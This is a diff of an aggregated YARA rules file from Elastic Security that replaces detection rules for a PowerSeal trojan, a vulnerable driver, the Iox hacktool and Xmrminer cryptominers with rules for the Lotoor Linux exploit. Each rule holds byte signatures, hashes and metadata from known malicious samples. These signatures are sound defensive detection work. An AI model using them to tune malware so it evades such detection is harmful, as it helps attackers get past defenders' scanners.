-		hash = "cc687fe3741bbde1dd142eac0ef59fd1d4457daee43cdde23bb162ef28d04e64"
-		logic_hash = "a4464fb7edbacb6d9c8d6b385f9cc28685f0bed40876eecd5a7c87e0707e3025"
+		id = "2e50f393-40c0-49f7-882e-33f914eff32d"
+		date = "2023-05-10"
+		modified = "2023-06-13"
+		reference = "https://www.elastic.co/security-labs/elastic-charms-spectralviper"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_PowerSeal.yar#L24-L44"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "3ca1d4568fea7b2e4e9d30ba03662a2c28ee8623d887a0336e27989b5c98b55f"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "94b718e4450f28b8a9562f89a2fd0e395012051f0af8617d8ab13a45afcd4191"
-		threat_name = "Windows.VulnDriver.TmComm"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "9b7beb5af64bc57d78cfb8f5bf8134461d8f2fbe7c935a0fa2b44fb51160a28d"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 54 00 6D 00 43 00 6F 00 6D 00 6D 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x08][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x07][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+		$a1 = "[+] Loading PowerSeal"
+		$a2 = "[!] Failed to exec PowerSeal"
+		$a3 = "AppDomain: unable to get the name!"
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		2 of them
 }
-rule ELASTIC_Windows_Hacktool_Iox_98Cd1Cd8 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Lotoor_03C81Bd9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Iox (Windows.Hacktool.Iox)"
+		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
 		author = "Elastic Security"
-		id = "98cd1cd8-8a0c-489e-86d1-58da88dc2c71"
-		date = "2024-01-24"
-		modified = "2024-01-29"
-		reference = "https://www.elastic.co/security-labs/unmasking-financial-services-intrusion-ref0657"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_Iox.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d4544a521d4e6eb07336816b1aae54f92c5c4fd2eb31dcfbdf26e4ef890e73db"
-		logic_hash = "d7f9e4f399410d54416e974fbd66b2caa27359ae0f2e33e01d62f1aa618daa34"
+		id = "03c81bd9-c7d1-4044-9cce-951637b2b523"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Lotoor.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3fc701a2caab0297112501f55eaeb05264c5e4099c411dcadc7095627e19837a"
+		logic_hash = "dc2dfa128f509221cae8bae9864190e8316bb7a5ae081da1076081b5f4fdc870"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8c0f4041223713bef105ca5986b9ec30b4bfb22aeeab8f4465938cf8212fc7c1"
+		fingerprint = "329dc1e21088c87095ee030c597a3340f838c338403ae64aec574e0086281461"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$param_check_b0 = { 48 83 FB 05 0F 85 ?? ?? ?? ?? 81 38 70 72 6F 78 66 0F 1F 44 00 00 0F 85 ?? ?? ?? ?? 80 78 04 79 0F 85 ?? ?? ?? ?? 48 83 F9 03 }
-		$param_check_b1 = { 48 8B 14 24 4C 8B 5C 24 18 4C 8B 64 24 08 4C 8B 6C 24 08 4C 8B 7C 24 20 66 0F 1F 84 00 00 00 00 00 48 83 FB 03 0F 85 ?? ?? ?? ?? 66 81 38 66 77 0F 85 ?? ?? ?? ?? 80 78 02 64 }
-		$param_check_b2 = { 81 38 2D 2D 6C 6F 0F 1F 44 00 00 0F 85 ?? ?? ?? ?? 66 81 78 04 63 61 0F 85 ?? ?? ?? ?? 80 78 06 6C }
-		$param_check_b3 = { 83 FA 05 0F 85 ?? ?? ?? ?? 81 38 2D 2D 6B 65 0F 85 ?? ?? ?? ?? 80 78 04 79 90 }
+		$a = { 65 00 65 78 70 5F 73 74 61 74 65 00 6D 65 6D 73 65 74 00 70 }
 
 	condition:
-		3 of them
+		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrminer_70C153B5 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Lotoor_757637D9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
+		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
 		author = "Elastic Security"
-		id = "70c153b5-2628-4504-8f21-2c7f0201b133"
+		id = "757637d9-6171-4e2a-bf7c-3ee2c71066a7"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrminer.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "55b133ba805bb691dc27a5d16d3473650360c988e48af8adc017377eed07935b"
-		logic_hash = "e2fc0721435c656a16e59b6747563df17f0f54a4620efc403a3bba717ccb0f38"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Lotoor.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0762fa4e0d74e3c21b2afc8e4c28e2292d1c3de3683c46b5b77f0f9fe1faeec7"
+		logic_hash = "b1f1784aae5958740d03ca50d0b9731e8db7d86d918d16e82cf6fc1e1bf663a9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "51d304812e72045387b002824fdc9231d64bf4e8437c70150625c4b2aa292284"
+		fingerprint = "7fa3e2432ddd696b5d40aafbde1e026e74294d31c9201800ce66b343a3724c6e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104641,28 +109353,28 @@ rule ELASTIC_Linux_Cryptominer_Xmrminer_70C153B5 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { EC 18 BA 08 00 00 00 48 8D 4C 24 08 48 89 74 24 08 BE 02 00 }
+		$a = { 64 00 73 70 72 69 6E 74 66 00 6F 70 65 6E 00 69 73 5F 6F 6C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrminer_98B00F9C : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Lotoor_78543893 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
+		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
 		author = "Elastic Security"
-		id = "98b00f9c-354a-47dd-8546-a2842559d247"
+		id = "78543893-7180-4857-8951-4190ca4602f1"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrminer.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c01b88c5d3df7ce828e567bd8d639b135c48106e388cd81497fcbd5dcf30f332"
-		logic_hash = "cf8c5deddf22e7699cd880bd3f9f28721db5ece6705be4f932e1d041893eef71"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Lotoor.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ff5b02d2b4dfa9c3d53e7218533f3c57e82315be8f62aa17e26eda55a3b53479"
+		logic_hash = "4bb6a6e063fd00569b04f4514ec1731357aa8e8ce4cfee354fdd86773a4358da"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8d231a490e818614141d6805a9e7328dc4b116b34fd027d5806043628b347141"
+		fingerprint = "b581e0820d7895021841d67e4e9dc40cec8f5ae5ba4dbc0585abcb76f97c9a2f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104670,28 +109382,28 @@ rule ELASTIC_Linux_Cryptominer_Xmrminer_98B00F9C : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 0F 38 DC DF 49 89 D4 66 0F 7F 24 1A 66 0F EF C3 66 42 0F 7F }
+		$a = { 00 48 8B 48 08 48 8B 54 24 F0 48 63 C6 48 89 8C C2 88 00 00 00 83 44 24 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrminer_2B250178 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Lotoor_4F8D83D2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
+		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
 		author = "Elastic Security"
-		id = "2b250178-3f9a-4aeb-819a-970b5ef9c98a"
+		id = "4f8d83d2-4f7b-4a55-9d08-f7bc84263302"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrminer.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "636605cf63d3e335fe9481d4d110c43572e9ab365edfa2b6d16d96b52d6283ef"
-		logic_hash = "067705c52de710372b4a2a3b77427106068ad2d9a8e56602e315d09e7b8b6206"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Lotoor.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d78128eca706557eeab8a454cf875362a097459347ddc32118f71bd6c73d5bbd"
+		logic_hash = "6fee488d97fe1d4be558b6886c603010c6d1423a750783b38a65d2fb3eeb76f4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e297a790a78d32b973d6a028a09c96186c3971279b5c5eea4ff6409f12308e67"
+		fingerprint = "1a4e2746eb1da2a841c08ea44c6d0476c02dae5b4fbbe17926433bdb8c4e6df5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104699,28 +109411,28 @@ rule ELASTIC_Linux_Cryptominer_Xmrminer_2B250178 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 03 7E 11 8B 44 24 38 89 EF 31 D2 89 06 8B 44 24 3C 89 46 04 F7 C7 02 00 }
+		$a = { 00 75 6E 61 6D 65 00 73 74 64 6F 75 74 00 66 77 72 69 74 65 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrminer_67Bf4B54 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Lotoor_F4Afd230 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
+		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
 		author = "Elastic Security"
-		id = "67bf4b54-aa02-4f4c-ba70-3f2db1418c7e"
+		id = "f4afd230-6c9f-49e8-8f13-429635b38eb5"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrminer.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9d33fba4fda6831d22afc72bf3d6d5349c5393abb3823dfa2a5c9e391d2b9ddf"
-		logic_hash = "448f5b9dc3c17984464c15f6d542f495a52b0531acc362dedfe3d1a20b932969"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Lotoor.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "805e900ffc9edb9f550dcbc938a3b06d28e9e7d3fb604ff68a311a0accbcd2b1"
+		logic_hash = "9aba4ebbf946f07071bfb94fa50c6981ae8c659aca9ee6e05c7ef214432d7466"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5f2fae0eee79dac3c202796d987ad139520fadae145c84ab5769d46afb2518c2"
+		fingerprint = "1709244fdc1e2d9d7fba01743b0cf87de7b940d2b25a0016e021b7e9696525bc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104728,27 +109440,28 @@ rule ELASTIC_Linux_Cryptominer_Xmrminer_67Bf4B54 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 46 70 4A 8B 2C E0 83 7D 00 03 74 DA 8B 4D 68 85 C9 74 DC 45 }
+		$a = { 83 20 FF FF FF 85 C0 74 25 8B 83 F8 FF FF FF 85 C0 74 1B 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrminer_504B42Ca : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Lotoor_Bb384Bc9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
+		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
 		author = "Elastic Security"
-		id = "504b42ca-00a7-4917-8bb1-1957838a1d27"
+		id = "bb384bc9-fcda-4ad4-82ad-b95de750d31c"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrminer.yar#L81-L98"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "dd3ed5350e0229ac714178a30de28893c30708734faec329c776e189493cf930"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Lotoor.yar#L101-L119"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ecc6635117b99419255af5d292a7af3887b06d5f3b0f59d158281eebfe606445"
+		logic_hash = "1e9faba4f245d8b0d6944430286a5fc3e11cd7e036a4151b29fc2c5f037894fb"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "265a3cb860e1f0ddafbe5658fa3a341d7419c89eecc350f8fc16e7a1e05a7673"
+		fingerprint = "6878670c1fa154f5c4a845a824c63d0a900359b6e122b3fa759077c6a7e33e4c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104756,28 +109469,28 @@ rule ELASTIC_Linux_Cryptominer_Xmrminer_504B42Ca : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { D7 8B 04 8C 44 8D 50 FF 4C 89 04 C6 44 89 14 8C 75 D7 48 8B 2E 45 }
+		$a = { C2 75 64 4C 8B 45 F0 49 83 C0 04 4C 8B 4D F0 49 83 C1 08 48 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrminer_D1Bb752F : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Lotoor_B293F6Ec : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
+		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
 		author = "Elastic Security"
-		id = "d1bb752f-f5d6-4d93-96af-d977b501776a"
+		id = "b293f6ec-0342-4727-b2a1-bd60be11ef74"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrminer.yar#L100-L118"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bea55bc9495ee51c78ceedadf3a685ea9d6dd428170888c67276c100d4d94beb"
-		logic_hash = "47aa5516350d5c00d1387649df46ce8f09d87bdfafeaa4cbf1c3ef5f2e0b9023"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Lotoor.yar#L121-L139"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d1fa8520d3c3811d29c3d5702e7e0e7296b3faef0553835c495223a2bc015214"
+		logic_hash = "0e310082714f5283f9b4ccde5a8e17994e3bc4acf3d744b22734c136dde7cebb"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0f2455a4e80d93e7f1e420dc2f36e89c28ecb495879bca2e683a131b2770c3ee"
+		fingerprint = "42c95bdd82e398bceeb985cff50f4613596b71024c052487f5b337bb35489594"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104785,27 +109498,28 @@ rule ELASTIC_Linux_Cryptominer_Xmrminer_D1Bb752F : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { F8 12 48 29 C8 48 2B 83 B0 00 00 00 48 C1 E8 03 48 F7 E2 48 8B }
+		$a = { B8 89 45 A8 8B 45 A8 83 C0 64 89 45 B4 EB 2A 8B 45 A8 48 98 48 C1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrminer_D625Fcd2 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Lotoor_C5983669 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
+		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
 		author = "Elastic Security"
-		id = "d625fcd2-2951-4ecf-91cd-d58e16c33c65"
+		id = "c5983669-67d6-4a9e-945f-aae383211872"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrminer.yar#L120-L137"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "b95b66392e1a07e0b6acd718a9501cede76e57561e69701e9e881bd3fbd3fe39"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Lotoor.yar#L141-L159"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d08be92a484991afae3567256b6cec60a53400e0e9b6f6b4d5c416a22ccca1cf"
+		logic_hash = "ff673070969f1ededf8ff2c7cadfc251c7d2e52da58906b15cfc04593a755d55"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "08c8d00e38fbf62cbf0aa329d6293fba302c3c76aee8c33341260329c14a58aa"
+		fingerprint = "1d74ddacc623a433f84b1ab6e74bcfc0e69afb29f40a8b2d660d96a88610c3b2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104813,28 +109527,28 @@ rule ELASTIC_Linux_Cryptominer_Xmrminer_D625Fcd2 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 20 00 00 40 00 0C C0 5C 02 60 01 02 03 12 00 40 04 50 09 00 }
+		$a = { 48 83 C0 58 48 89 44 24 20 48 8B 44 24 18 48 89 C7 BA 60 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrminer_02D19C01 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Lotoor_Fbff22Da : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
+		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
 		author = "Elastic Security"
-		id = "02d19c01-51e9-4a46-a06b-d5f7e97285d9"
+		id = "fbff22da-2f31-416c-8aa0-1003e3be8baa"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrminer.yar#L139-L157"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b6df662f5f7566851b95884c0058e7476e49aeb7a96d2aa203393d88e584972f"
-		logic_hash = "43a1dc49bf75cd13637c37290d47b4d6fc1b2c2ac252b64725c0c64e1dd745c6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Lotoor.yar#L161-L179"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0762fa4e0d74e3c21b2afc8e4c28e2292d1c3de3683c46b5b77f0f9fe1faeec7"
+		logic_hash = "d3e3037593f5714dfb49c6e19631fd46331e2702c8bf6d6099bb5b34158321a9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "724bbc2910217bcac457e6ba0c0848caf38e12f272b0104ade1c7bc57dc85c27"
+		fingerprint = "b649b172fad3e3b085cbf250bd17dbea4c409a7337914c63230d188f9b8135fa"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104842,28 +109556,28 @@ rule ELASTIC_Linux_Cryptominer_Xmrminer_02D19C01 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 4C 8D 7E 15 41 56 41 55 41 54 41 BB 03 00 00 00 55 53 48 89 FB 48 }
+		$a = { 00 75 6E 61 6D 65 00 73 74 72 6C 65 6E 00 73 74 64 6F 75 74 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrminer_2Dd045Fc : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Lotoor_E2D5Fad8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
+		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
 		author = "Elastic Security"
-		id = "2dd045fc-a585-4a49-b334-773bc86a3370"
+		id = "e2d5fad8-45b6-4d65-826d-b909230e2b69"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrminer.yar#L159-L177"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "30a77ab582f0558829a78960929f657a7c3c03c2cf89cd5a0f6934b79a74b7a4"
-		logic_hash = "fa23ca75027f7a5e73652173c9e84112a0b5cd3008fc453fdb33c980dc7b7b24"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Lotoor.yar#L181-L199"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7e54e57db3de32555c15e529c04b35f52d75af630e45b5f8d6c21149866b6929"
+		logic_hash = "b294ce1c4d928d73342bb6260456d850f9c59f3c48c7c4ffbce32ea9238f6eee"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b5f02ac76db686e61c6f293183f2c17fe0f901a65eebaccfe109f07fc9abeeaa"
+		fingerprint = "ec64f2c3ca5ec2bfc2146159dab3258e389be5962bdddf4c6db5975cc730a231"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104871,28 +109585,28 @@ rule ELASTIC_Linux_Cryptominer_Xmrminer_2Dd045Fc : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { BA 0E 00 00 00 74 25 48 8B 8C 24 B8 00 00 00 64 48 33 0C 25 28 00 }
+		$a = { 8B 45 E4 8B 00 89 45 E8 8B 45 E8 8B 00 85 C0 75 08 8B 45 E8 89 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrminer_D1A814B0 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Lotoor_F2F8Eb6B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
+		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
 		author = "Elastic Security"
-		id = "d1a814b0-38a6-4469-a29b-75787f52d789"
+		id = "f2f8eb6b-1fc3-4fca-b58d-d71ad932e1a7"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrminer.yar#L179-L197"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bea55bc9495ee51c78ceedadf3a685ea9d6dd428170888c67276c100d4d94beb"
-		logic_hash = "a06f5d5be87153be1253c2e20a60fa36701a745813926be03ee466ce8e2285b0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Lotoor.yar#L201-L219"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "01721b9c024ca943f42c402a57f45bd4c77203a604c5c2cd26e5670df76a95b2"
+		logic_hash = "b6555e69b663591550976fd44352ecbdf0a0aef1e07a64396a576125a4fe4ba6"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1746bc1d96207bd1bb44e9ff248b76245feb76c1d965400c3abd3b9116ea8455"
+		fingerprint = "881e2cd5b644c2511306b3670320224810de369971278516f7562076226fa5b7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104900,28 +109614,28 @@ rule ELASTIC_Linux_Cryptominer_Xmrminer_D1A814B0 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 01 48 8B 44 24 58 49 89 41 08 8B 01 48 C1 E0 05 4D 8D 04 07 48 8B 44 }
+		$a = { 24 14 40 00 00 00 EB 38 8B 44 24 14 48 98 83 E0 3F 48 85 C0 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrminer_C6218E30 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Lotoor_89671B03 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
+		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
 		author = "Elastic Security"
